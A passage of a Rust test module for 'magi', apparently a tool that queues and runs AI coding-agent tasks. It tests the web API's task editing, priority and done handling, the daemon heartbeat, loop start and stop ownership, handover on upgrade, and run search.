15768            "seats".into(),
15769            "keep instruction".into(),
15770            repo,
15771            Source::Human,
15772        );
15773        t.runs.push("prior-run".into());
15774        t.hold_manual(Some("waiting".into()));
15775        q.put(&mut t).unwrap();
15776        let change = |count| {
15777            queue_implementers(
15778                State(ui.clone()),
15779                Path(t.id.clone()),
15780                Ok(Json(ImplementersBody {
15781                    implementers: count,
15782                })),
15783            )
15784        };
15785        for count in [2, 1, 2] {
15786            let response = change(count).await.unwrap();
15787            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
15788            let saved = q.get(&t.id).unwrap();
15789            assert_eq!(saved.implementers(), Some(usize::from(count)));
15790            assert_eq!(saved.runs, t.runs);
15791            assert_eq!(saved.instruction, t.instruction);
15792        }
15793        for count in [0, 4] {
15794            assert_eq!(
15795                change(count).await.err().unwrap().status,
15796                StatusCode::BAD_REQUEST
15797            );
15798        }
15799        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
15800        let claim = q.claim(&t.id).unwrap();
15801        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
15802        drop(claim);
15803        for status in [
15804            TaskStatus::Running,
15805            TaskStatus::Done,
15806            TaskStatus::Failed,
15807            TaskStatus::Blocked,
15808            TaskStatus::Parked,
15809        ] {
15810            let mut stored = q.get(&t.id).unwrap();
15811            stored.status = status;
15812            q.put(&mut stored).unwrap();
15813            assert_eq!(
15814                change(1).await.err().unwrap().status,
15815                StatusCode::BAD_REQUEST
15816            );
15817            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
15818        }
15819    }
15820
15821    #[tokio::test]
15822    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
15823        let f = Fixture::start().await;
15824        let queue = f.queue();
15825        let mut task = Task::new(
15826            "in flight".to_owned(),
15827            "x".to_owned(),
15828            PathBuf::from("/repo/magi"),
15829            Source::Human,
15830        );
15831        task.start("20260902-140502-bbbb".to_owned());
15832        queue.put(&mut task).expect("file the task");
15833
15834        let res = f
15835            .post(
15836                &format!("/api/queue/{}/priority", task.id),
15837                Some(r#"{"priority":9}"#),
15838            )
15839            .await;
15840        assert_eq!(res.status, 400, "{}", res.body);
15841        assert!(
15842            res.json()["error"]
15843                .as_str()
15844                .is_some_and(|e| e.contains("running")),
15845            "{}",
15846            res.body
15847        );
15848        assert_eq!(
15849            queue.get(&task.id).expect("reload").priority,
15850            0,
15851            "the refused write must not partially apply"
15852        );
15853    }
15854
15855    #[tokio::test]
15856    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
15857        let f = Fixture::start().await;
15858        let queue = f.queue();
15859        let mut task = Task::new(
15860            "old title".to_owned(),
15861            "old instruction".to_owned(),
15862            PathBuf::from("/repo/magi"),
15863            Source::Agent {
15864                run: "20260101-000000-beef".to_owned(),
15865                node: "implement".to_owned(),
15866            },
15867        );
15868        task.runs.push("20260101-000000-beef".to_owned());
15869        queue.put(&mut task).expect("file the task");
15870        let created_at = task.created_at;
15871
15872        let edited = f
15873            .post(
15874                &format!("/api/queue/{}/edit", task.id),
15875                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
15876            )
15877            .await;
15878        assert_eq!(edited.status, 200, "{}", edited.body);
15879        let body = edited.json();
15880        assert_eq!(body["title"], "new title");
15881        assert_eq!(body["instruction"], "new instruction");
15882        assert_eq!(body["id"], task.id, "editing must not mint a new id");
15883        assert_eq!(body["created_at"], created_at.to_string());
15884        assert_eq!(
15885            body["source"]["kind"], "agent",
15886            "editing a task an agent filed must not turn it human: {body}"
15887        );
15888        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
15889
15890        let reloaded = queue.get(&task.id).expect("reload");
15891        assert_eq!(reloaded.title, "new title");
15892        assert_eq!(reloaded.instruction, "new instruction");
15893    }
15894
15895    #[tokio::test]
15896    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
15897        // The judge is an agent now: a repo whose only agent answers
15898        // "duplicate" stands in for it, so the refusal is the judge's.
15899        let tmp = TempDir::new().expect("tempdir");
15900        let repo = tmp.path().join("repo");
15901        std::fs::create_dir_all(&repo).expect("repo dir");
15902        let judge = MOCK_AGENT_TOML.replace(
15903            "printf ok",
15904            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
15905        );
15906        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
15907        let f = Fixture::with_repo(repo.clone()).await;
15908        let queue = f.queue();
15909        let mut owner = Task::new(
15910            "owner".to_owned(),
15911            "review it".to_owned(),
15912            repo.clone(),
15913            Source::Human,
15914        );
15915        owner.review_branch = Some("magi/ab12/A".to_owned());
15916        queue.put(&mut owner).expect("file the owner");
15917        let mut task = Task::new(
15918            "draft".to_owned(),
15919            "old".to_owned(),
15920            repo.clone(),
15921            Source::Human,
15922        );
15923        queue.put(&mut task).expect("file the draft");
15924        let url = format!("/api/queue/{}/edit", task.id);
15925
15926        let refused = f
15927            .post(
15928                &url,
15929                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
15930            )
15931            .await;
15932        assert_eq!(refused.status, 409, "{}", refused.body);
15933        let msg = refused.json()["error"]
15934            .as_str()
15935            .unwrap_or_default()
15936            .to_owned();
15937        assert!(
15938            msg.contains("magi/ab12/A") && msg.contains("force"),
15939            "{msg}"
15940        );
15941        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
15942
15943        let forced = f
15944            .post(
15945                &url,
15946                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
15947            )
15948            .await;
15949        assert_eq!(forced.status, 200, "{}", forced.body);
15950    }
15951
15952    #[tokio::test]
15953    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
15954        let f = Fixture::start().await;
15955        let queue = f.queue();
15956        let mut task = Task::new(
15957            "in flight".to_owned(),
15958            "do not touch".to_owned(),
15959            PathBuf::from("/repo/magi"),
15960            Source::Human,
15961        );
15962        task.start("20260902-140502-bbbb".to_owned());
15963        queue.put(&mut task).expect("file the task");
15964
15965        let res = f
15966            .post(
15967                &format!("/api/queue/{}/edit", task.id),
15968                Some(r#"{"title":"x","instruction":"y"}"#),
15969            )
15970            .await;
15971        assert_eq!(res.status, 400, "{}", res.body);
15972        assert!(
15973            res.json()["error"]
15974                .as_str()
15975                .is_some_and(|e| e.contains("running")),
15976            "{}",
15977            res.body
15978        );
15979        assert_eq!(
15980            queue.get(&task.id).expect("reload").instruction,
15981            "do not touch",
15982            "the refused edit must not change the file"
15983        );
15984    }
15985
15986    #[tokio::test]
15987    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
15988        let f = Fixture::start().await;
15989        let queue = f.queue();
15990        let mut task = Task::new(
15991            "busy".to_owned(),
15992            "Running right now".to_owned(),
15993            PathBuf::from("/repo/magi"),
15994            Source::Human,
15995        );
15996        queue.put(&mut task).expect("file the task");
15997        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
15998
15999        let priority = f
16000            .post(
16001                &format!("/api/queue/{}/priority", task.id),
16002                Some(r#"{"priority":9}"#),
16003            )
16004            .await;
16005        assert_eq!(priority.status, 409, "{}", priority.body);
16006
16007        let edit = f
16008            .post(
16009                &format!("/api/queue/{}/edit", task.id),
16010                Some(r#"{"title":"x","instruction":"y"}"#),
16011            )
16012            .await;
16013        assert_eq!(edit.status, 409, "{}", edit.body);
16014    }
16015
16016    #[tokio::test]
16017    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
16018        let f = Fixture::start().await;
16019        let queue = f.queue();
16020        let mut task = Task::new(
16021            "shipped by hand".to_owned(),
16022            "merged outside the loop".to_owned(),
16023            PathBuf::from("/repo/magi"),
16024            Source::Agent {
16025                run: "20260101-000000-b455".to_owned(),
16026                node: "implement".to_owned(),
16027            },
16028        );
16029        task.runs.push("20260101-000000-b455".to_owned());
16030        task.runs.push("20260101-000000-9af4".to_owned());
16031        queue.put(&mut task).expect("file the task");
16032        let created_at = task.created_at;
16033
16034        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16035        assert_eq!(done.status, 200, "{}", done.body);
16036        assert_eq!(done.json()["status_str"], "done");
16037
16038        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
16039        assert_eq!(
16040            reloaded.runs,
16041            ["20260101-000000-b455", "20260101-000000-9af4"]
16042        );
16043        assert_eq!(
16044            reloaded.source,
16045            Source::Agent {
16046                run: "20260101-000000-b455".to_owned(),
16047                node: "implement".to_owned(),
16048            }
16049        );
16050        assert_eq!(reloaded.created_at, created_at);
16051    }
16052
16053    #[tokio::test]
16054    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
16055        // `done` is allowed on any status, including `held`, with no release
16056        // in between - so a task held for a reason and then closed directly
16057        // must not keep reading as "waiting on" it afterwards, on its card or
16058        // in `magi task show`.
16059        let f = Fixture::start().await;
16060        let queue = f.queue();
16061        let mut task = Task::new(
16062            "landed while held".to_owned(),
16063            "x".to_owned(),
16064            PathBuf::from("/repo/magi"),
16065            Source::Human,
16066        );
16067        task.hold_manual(Some("waiting on 3ed9".to_owned()));
16068        queue.put(&mut task).expect("file the held task");
16069
16070        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16071        assert_eq!(done.status, 200, "{}", done.body);
16072        assert_eq!(done.json()["status_str"], "done");
16073        assert!(
16074            done.json()["hold_reason"].is_null(),
16075            "a done task cannot still be waiting on something: {}",
16076            done.body
16077        );
16078    }
16079
16080    #[tokio::test]
16081    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
16082        // `queue_done` is the phone's way to close a task the loop never
16083        // settled itself - after confirming a manual GitHub merge, say - and
16084        // that is just as much "this task's story is over" as the loop's own
16085        // `Merged`/`Ready` path, so it must trigger the same cleanup.
16086        let f = Fixture::start().await;
16087        let queue = f.queue();
16088        let runs = f.runs();
16089        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
16090        // The last attempt has to have actually landed for the earlier one
16091        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
16092        // for the case where it didn't.
16093        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
16094
16095        let mut task = Task::new(
16096            "landed by hand".to_owned(),
16097            "x".to_owned(),
16098            PathBuf::from("/repo/magi"),
16099            Source::Human,
16100        );
16101        task.runs.push("20260101-000000-doa1".to_owned());
16102        task.runs.push("20260101-000000-doa2".to_owned());
16103        queue.put(&mut task).expect("file the task");
16104
16105        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16106        assert_eq!(done.status, 200, "{}", done.body);
16107
16108        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
16109            .expect("run still on disk under this fixture's own home");
16110        assert_eq!(
16111            reloaded_run.status,
16112            RunStatus::Superseded,
16113            "closing the task by hand must relabel the earlier blocked attempt exactly \
16114             like the loop's own settle path does"
16115        );
16116    }
16117
16118    #[tokio::test]
16119    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
16120        // Closing a task by hand is allowed from any status, including one
16121        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
16122        // manual merge the loop never watched, say. Nothing here is provably
16123        // why the task is done, so nothing earlier gets relabelled either.
16124        let f = Fixture::start().await;
16125        let queue = f.queue();
16126        let runs = f.runs();
16127        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
16128        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
16129
16130        let mut task = Task::new(
16131            "closed with nothing actually landed".to_owned(),
16132            "x".to_owned(),
16133            PathBuf::from("/repo/magi"),
16134            Source::Human,
16135        );
16136        task.runs.push("20260101-000000-dob1".to_owned());
16137        task.runs.push("20260101-000000-dob2".to_owned());
16138        queue.put(&mut task).expect("file the task");
16139
16140        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16141        assert_eq!(done.status, 200, "{}", done.body);
16142
16143        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
16144            .expect("run still on disk under this fixture's own home");
16145        assert_eq!(
16146            reloaded_run.status,
16147            RunStatus::Blocked,
16148            "the last recorded attempt never landed, so the earlier one must not be \
16149             relabelled as superseded by it"
16150        );
16151    }
16152
16153    #[tokio::test]
16154    async fn unknown_ids_are_json_not_found_on_both_stores() {
16155        let f = Fixture::start().await;
16156
16157        let run = f.get("/api/runs/nosuchrun").await;
16158        let task = f.post("/api/queue/nosuchtask/hold", None).await;
16159
16160        assert_eq!(run.status, 404);
16161        assert_eq!(task.status, 404);
16162        assert!(
16163            run.json()["error"]
16164                .as_str()
16165                .is_some_and(|e| e.contains("run")),
16166            "the error names what was not found: {}",
16167            run.body
16168        );
16169        assert!(
16170            task.json()["error"]
16171                .as_str()
16172                .is_some_and(|e| e.contains("task")),
16173            "the error names what was not found: {}",
16174            task.body
16175        );
16176    }
16177
16178    #[tokio::test]
16179    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
16180        let f = Fixture::start().await;
16181
16182        let missing = f.get("/api/health").await.json();
16183        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
16184
16185        write_daemon(
16186            f.home.path(),
16187            Timestamp::now() - jiff::SignedDuration::from_secs(60),
16188        );
16189        let stale = f.get("/api/health").await.json();
16190        assert_eq!(
16191            stale["daemon"]["running"], false,
16192            "a minute without a heartbeat is a dead daemon, not a busy one"
16193        );
16194        assert!(
16195            stale["daemon"]["stale_for_secs"]
16196                .as_i64()
16197                .is_some_and(|s| s >= 55),
16198            "staleness is reported so the UI can say how long: {stale}"
16199        );
16200
16201        write_daemon(f.home.path(), Timestamp::now());
16202        let fresh = f.get("/api/health").await.json();
16203        assert_eq!(fresh["daemon"]["running"], true);
16204        assert_eq!(fresh["daemon"]["idle"], false);
16205        assert_eq!(fresh["daemon"]["pid"], 4242);
16206        assert_eq!(fresh["daemon"]["completed"], 7);
16207        assert_eq!(
16208            fresh["daemon"]["current"][0]["task"],
16209            "20260902-140501-aaaa"
16210        );
16211        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
16212    }
16213
16214    #[tokio::test]
16215    async fn the_loop_is_not_running_until_something_starts_it() {
16216        let f = Fixture::start().await;
16217
16218        let view = f.get("/api/loop").await.json();
16219        assert_eq!(view["running"], false);
16220        assert_eq!(
16221            view["owned"], false,
16222            "nobody owns a loop that does not exist: {view}"
16223        );
16224        assert_eq!(view["stopping"], false);
16225        assert_eq!(view["last_error"], Value::Null);
16226        assert_eq!(view["daemon"]["running"], false);
16227        assert_eq!(
16228            view["repo"], "/repo/magi",
16229            "the repository a start would use, named before it is started"
16230        );
16231    }
16232
16233    #[tokio::test]
16234    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
16235        let f = Fixture::start().await;
16236
16237        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16238        assert_eq!(res.status, 200, "{}", res.body);
16239        let view = res.json();
16240        assert_eq!(view["running"], true);
16241        assert_eq!(
16242            view["owned"], true,
16243            "the loop the UI started is the UI's own to stop: {view}"
16244        );
16245        assert_eq!(
16246            view["merge"],
16247            Value::Null,
16248            "no override was given, so each repository's own config decides"
16249        );
16250
16251        // The same object from the route a waking phone polls first. Two
16252        // surfaces disagreeing about whether anything is running is exactly
16253        // the confusion this UI exists to remove.
16254        let health = f.get("/api/health").await.json();
16255        assert_eq!(health["loop"]["running"], true, "{health}");
16256        assert_eq!(health["loop"]["owned"], true, "{health}");
16257
16258        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16259    }
16260
16261    #[tokio::test]
16262    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
16263        let f = Fixture::start().await;
16264        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16265        assert_eq!(first.status, 200, "{}", first.body);
16266
16267        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16268        assert_eq!(
16269            again.status, 409,
16270            "two loops on one queue race for the same claims: {}",
16271            again.body
16272        );
16273        assert!(
16274            again.json()["error"]
16275                .as_str()
16276                .is_some_and(|e| e.contains("already running the loop")),
16277            "the refusal has to say why: {}",
16278            again.body
16279        );
16280        assert_eq!(
16281            f.get("/api/loop").await.json()["running"],
16282            true,
16283            "and the loop that was already running is untouched by it"
16284        );
16285
16286        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16287    }
16288
16289    #[tokio::test]
16290    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
16291        let f = Fixture::start().await;
16292        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16293
16294        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16295        assert_eq!(
16296            res.status, 200,
16297            "the answer must not wait for the loop: a run in flight is tens of \
16298             minutes and the operator is holding a phone: {}",
16299            res.body
16300        );
16301
16302        let view = settled(&f, |v| v["running"] == false).await;
16303        assert_eq!(view["owned"], false);
16304        assert_eq!(
16305            view["stopping"], false,
16306            "a loop that has stopped is not still stopping: {view}"
16307        );
16308        assert_eq!(
16309            view["last_error"],
16310            Value::Null,
16311            "a loop that was asked to stop did not fail: {view}"
16312        );
16313
16314        // Idempotent, because the operator cannot tell a slow stop from a lost
16315        // one and will press it again.
16316        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16317        assert_eq!(twice.status, 200, "{}", twice.body);
16318    }
16319
16320    #[tokio::test]
16321    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
16322        let f = Fixture::start().await;
16323        // How the operator has been doing it: a `magi serve` of their own,
16324        // heartbeat fresh, in the same home this UI reads.
16325        write_daemon(f.home.path(), Timestamp::now());
16326
16327        let view = f.get("/api/loop").await.json();
16328        assert_eq!(view["running"], false, "not in this process: {view}");
16329        assert_eq!(view["owned"], false, "and not this process's to control");
16330        assert_eq!(
16331            view["daemon"]["running"], true,
16332            "but a loop is alive somewhere, which is what the UI must say"
16333        );
16334        assert_eq!(view["daemon"]["pid"], 4242);
16335
16336        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
16337            let res = f.post("/api/loop", Some(body)).await;
16338            assert_eq!(
16339                res.status, 409,
16340                "neither button may pretend to work on someone else's loop: {}",
16341                res.body
16342            );
16343            assert!(
16344                res.json()["error"]
16345                    .as_str()
16346                    .is_some_and(|e| e.contains("4242")),
16347                "the refusal has to name the process the operator must go to: {}",
16348                res.body
16349            );
16350        }
16351        assert_eq!(
16352            f.get("/api/loop").await.json()["running"],
16353            false,
16354            "and the refusal started nothing"
16355        );
16356    }
16357
16358    #[tokio::test]
16359    async fn a_stale_status_file_is_not_a_foreign_owner() {
16360        let f = Fixture::start().await;
16361        write_daemon(
16362            f.home.path(),
16363            Timestamp::now() - jiff::SignedDuration::from_secs(60),
16364        );
16365
16366        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16367        assert_eq!(
16368            res.status, 200,
16369            "a daemon killed a minute ago must not lock the loop out of its \
16370             own home for good: {}",
16371            res.body
16372        );
16373        assert_eq!(res.json()["running"], true);
16374
16375        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16376    }
16377
16378    #[tokio::test]
16379    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
16380        let f = Fixture::start().await;
16381        let before = f.get("/api/health").await.json()["loop_rev"]
16382            .as_u64()
16383            .expect("a loop revision");
16384
16385        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16386
16387        let after = f.get("/api/health").await.json()["loop_rev"]
16388            .as_u64()
16389            .expect("a loop revision");
16390        assert!(
16391            after > before,
16392            "the loop is in-process state, so this counter is the only thing \
16393             that tells a second device the first one started it: {before} -> \
16394             {after}"
16395        );
16396
16397        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16398    }
16399
16400    #[tokio::test]
16401    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
16402        let f = Fixture::with_loop(launch_broken).await;
16403
16404        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16405        assert_eq!(
16406            res.status, 200,
16407            "starting it is not the failure: {}",
16408            res.body
16409        );
16410
16411        let view = settled(&f, |v| v["last_error"].is_string()).await;
16412        assert_eq!(
16413            view["running"], false,
16414            "a loop that died must not read as running, or the operator has \
16415             nothing to press: {view}"
16416        );
16417        assert_eq!(view["owned"], false);
16418        assert!(
16419            view["last_error"]
16420                .as_str()
16421                .is_some_and(|e| e.contains("read-only file system")),
16422            "the phone is where a loop that died at 3am is visible: {view}"
16423        );
16424
16425        // And it can be started again: the corpse was reaped, not left to
16426        // occupy the slot.
16427        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16428        assert_eq!(again.status, 200, "{}", again.body);
16429        assert!(
16430            again.json()["last_error"]
16431                .as_str()
16432                .is_none_or(|e| !e.contains("read-only file system")),
16433            "a fresh start does not keep showing why the last one died: {}",
16434            again.body
16435        );
16436    }
16437
16438    /// An upgrade parks the run in flight before it restarts, and a park waits
16439    /// for the node - up to `timeout_implement`, an hour by default. The deck
16440    /// has to answer for all of it: the operator has just been told a run is
16441    /// finishing first, and this address is the only place that says how it is
16442    /// going. It did not, once - the listener went with the `select!` arm that
16443    /// began the handover, and the phone got `Cannot reach magi: Failed to
16444    /// fetch` for the rest of the wave.
16445    ///
16446    /// The other half is the older rule: the address must be free *before* the
16447    /// successor is started, or it dies on "address already in use" with its
16448    /// stdio sent to null and the deck never comes back.
16449    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
16450    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
16451        let home = TempDir::new().expect("temp home");
16452        let runs = home.path().join("runs");
16453        std::fs::create_dir_all(&runs).expect("runs dir");
16454        let ui = Ui::new(
16455            Queue::at(home.path().join("queue")),
16456            Questions::at(home.path().join("questions")),
16457            Talks::at(home.path().join("talks")),
16458            runs,
16459            home.path().to_path_buf(),
16460            PathBuf::from("/repo/magi"),
16461        )
16462        .with_worktrees_root(home.path().join("wt"))
16463        .with_launch(launch_knocking_on_the_way_out);
16464        let looping = ui.looping();
16465        let turns = ui.turns();
16466        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
16467            .await
16468            .expect("bind loopback");
16469        let addr = listener.local_addr().expect("local addr");
16470        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
16471        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
16472
16473        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
16474        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
16475
16476        // The successor's whole job, and the one thing it cannot do while this
16477        // process still holds the socket.
16478        //
16479        // One bind is not enough, and the reason is not this process's order of
16480        // operations: aborting the accept loop drops the listener, but axum
16481        // serves each accepted connection on a task of its own, and those are
16482        // not aborted. The requests above left sockets on this very address,
16483        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
16484        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
16485        // Production absorbs that in `bind_waiting`; so does this. Only
16486        // `AddrInUse` is retried, and the listener is released before the
16487        // closure returns - were the order wrong, the listener would outlive
16488        // the closure and every attempt would fail. Inferred from the bind
16489        // rules and the code; not reproduced on macOS.
16490        let bound = std::sync::Mutex::new(None);
16491        hand_over(
16492            home.path(),
16493            &looping,
16494            &turns,
16495            &|_: &[String]| Duration::from_secs(5),
16496            served,
16497            |_| {
16498                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
16499                let attempt = loop {
16500                    match std::net::TcpListener::bind(addr) {
16501                        Ok(l) => {
16502                            drop(l);
16503                            break Ok(());
16504                        }
16505                        Err(e)
16506                            if e.kind() == std::io::ErrorKind::AddrInUse
16507                                && std::time::Instant::now() < deadline =>
16508                        {
16509                            std::thread::sleep(std::time::Duration::from_millis(10));
16510                        }
16511                        Err(e) => break Err(e.to_string()),
16512                    }
16513                };
16514                *bound.lock().expect("bound") = Some(attempt);
16515                Ok(1)
16516            },
16517        )
16518        .await
16519        .expect("hand over");
16520
16521        assert_eq!(
16522            *PARK_HEARD.lock().expect("park heard"),
16523            Some(200),
16524            "the deck must answer while the loop is parking"
16525        );
16526        let attempt = bound
16527            .lock()
16528            .expect("bound")
16529            .take()
16530            .expect("the successor was started");
16531        assert!(
16532            attempt.is_ok(),
16533            "and the address must be free by the time it is: {attempt:?}"
16534        );
16535    }
16536
16537    #[tokio::test]
16538    async fn a_newer_daemon_status_file_still_renders() {
16539        let f = Fixture::start().await;
16540        // A field this build has never heard of must not turn the status line
16541        // into a 500; that is the whole reason the reader is permissive.
16542        std::fs::write(
16543            f.home.path().join("daemon.json"),
16544            serde_json::json!({
16545                "schema": 2,
16546                "updated_at": Timestamp::now().to_string(),
16547                "idle": true,
16548                "surprise": { "nested": [1, 2, 3] },
16549            })
16550            .to_string(),
16551        )
16552        .expect("write daemon.json");
16553
16554        let health = f.get("/api/health").await;
16555
16556        assert_eq!(health.status, 200);
16557        assert_eq!(health.json()["daemon"]["running"], true);
16558    }
16559
16560    #[tokio::test]
16561    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
16562        let f = Fixture::start().await;
16563        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
16564        let broken = f.runs().join("20260902-140502-bad");
16565        std::fs::create_dir_all(&broken).expect("run dir");
16566        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
16567
16568        let list = f.get("/api/runs").await;
16569        let detail = f.get("/api/runs/20260902-140502-bad").await;
16570
16571        assert_eq!(list.status, 200);
16572        let listed = list.json();
16573        let ids: Vec<&str> = listed
16574            .as_array()
16575            .expect("an array")
16576            .iter()
16577            .map(|r| r["id"].as_str().expect("an id"))
16578            .collect();
16579        assert_eq!(
16580            ids,
16581            vec!["20260902-140501-good"],
16582            "one unreadable run must not cost the operator the whole history"
16583        );
16584        assert_eq!(detail.status, 500);
16585        assert!(
16586            detail.json()["error"]
16587                .as_str()
16588                .is_some_and(|e| e.contains("run.json")),
16589            "the failure names the file to look at: {}",
16590            detail.body
16591        );
16592        // A skipped run has to be countable somewhere, or the UI shows an
16593        // empty history with nothing to explain it - which is exactly what a
16594        // directory full of older-schema runs looks like.
16595        let health = f.get("/api/health").await;
16596        assert_eq!(health.json()["runs_unreadable"], 1);
16597    }
16598
16599    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
16600    #[tokio::test]
16601    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
16602        let f = Fixture::start().await;
16603        let runs = f.runs();
16604        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
16605        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
16606        // Text three levels down, in a shape no current RunState has: an older
16607        // schema must still search.
16608        let path = runs.join("20260902-140502-bbbb").join("run.json");
16609        let mut v: serde_json::Value =
16610            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16611        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
16612        std::fs::write(&path, v.to_string()).unwrap();
16613        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
16614        std::fs::write(
16615            runs.join("20260902-140503-cccc").join("run.json"),
16616            "{ not json",
16617        )
16618        .unwrap();
16619
16620        let res = f.get("/api/search?scope=runs&q=quokka").await;
16621        assert_eq!(res.status, 200, "{}", res.body);
16622        let v = res.json();
16623        assert_eq!(v["total"], 1, "{v}");
16624        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
16625        assert_eq!(v["hits"][0]["field"], "text");
16626        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
16627        let parts = v["hits"][0]["snippet"].as_array().unwrap();
16628        assert!(
16629            parts
16630                .iter()
16631                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
16632            "{v}"
16633        );
16634        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
16635        assert_eq!(
16636            flat, "The Quokka leaks across threads",
16637            "whitespace is collapsed"
16638        );
16639
16640        // Terms are ANDed, across different fields, case-insensitively.
16641        let both = f
16642            .get("/api/search?scope=runs&q=MOBILE%20quokka")
16643            .await
16644            .json();
16645        assert_eq!(both["total"], 1, "{both}");
16646        let neither = f
16647            .get("/api/search?scope=runs&q=quokka%20zebra")
16648            .await
16649            .json();
16650        assert_eq!(neither["total"], 0, "{neither}");
16651        // Everything in the task statement is reachable, not only the row text.
16652        let stmt = f
16653            .get("/api/search?scope=runs&q=mobile%20first")
16654            .await
16655            .json();
16656        assert_eq!(stmt["total"], 2, "{stmt}");
16657        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
16658        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
16659    }
16660
16661    #[test]
16662    fn snippet_ignores_terms_longer_than_the_field() {
16663        let terms = ["ok".to_owned(), "elephant".to_owned()];
16664        let parts = snippet_of("ok", &terms);
16665        assert_eq!(
16666            parts,
16667            vec![SnippetPart {
16668                text: "ok".to_owned(),
16669                hit: true
16670            }]
16671        );
16672    }
16673
16674    #[test]
16675    fn snippet_marks_matches_longer_than_the_window() {
16676        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
16677        let hit_len = |parts: &[SnippetPart]| -> usize {
16678            parts
16679                .iter()
16680                .filter(|p| p.hit)
16681                .map(|p| p.text.chars().count())
16682                .sum()
16683        };
16684        let total =
16685            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
16686
16687        let long = "a".repeat(120);
16688        let parts = snippet_of(&long, std::slice::from_ref(&long));
16689        assert!(hit_len(&parts) > 0, "{parts:?}");
16690        assert!(total(&parts) <= cap);
16691
16692        let ja = "あ".repeat(130);
16693        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
